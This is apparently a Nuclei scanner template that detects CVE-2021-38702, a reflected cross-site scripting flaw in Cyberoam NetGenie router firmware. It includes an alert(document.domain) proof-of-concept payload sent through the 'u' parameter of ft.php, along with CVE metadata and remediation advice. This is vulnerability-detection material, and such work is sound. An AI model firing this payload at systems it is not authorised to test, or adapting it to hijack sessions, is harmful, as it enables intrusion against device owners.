id: CVE-2021-38702

info:
  name: Cyberoam NetGenie Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/20
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38702
    - http://www.cyberoamworks.com/NetGenie-Home.asp
    - http://packetstormsecurity.com/files/163859/Cyberoam-NetGenie-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-38702
    cwe-id: CWE-79
    epss-score: 0.00626
    epss-percentile: 0.76687
    cpe: cpe:2.3:o:cyberoamworks:netgenie_c0101b1-20141120-ng11vo_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cyberoamworks
    product: netgenie_c0101b1-20141120-ng11vo_firmware
  tags: cve2021,cve,cyberoam,netgenie,xss,router,seclists,packetstorm,cyberoamworks

http:
  - method: GET
    path:
      - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dab8ab75c1d3700a4c024ce898811f0c0b7996a779ae942f9fc9188869df37cd02210081e4282e11fdf1602ccae821ef099b54a525e0b35d859eda274a52c43b18dbd2:922c64590222798bb761d5b6d8e72950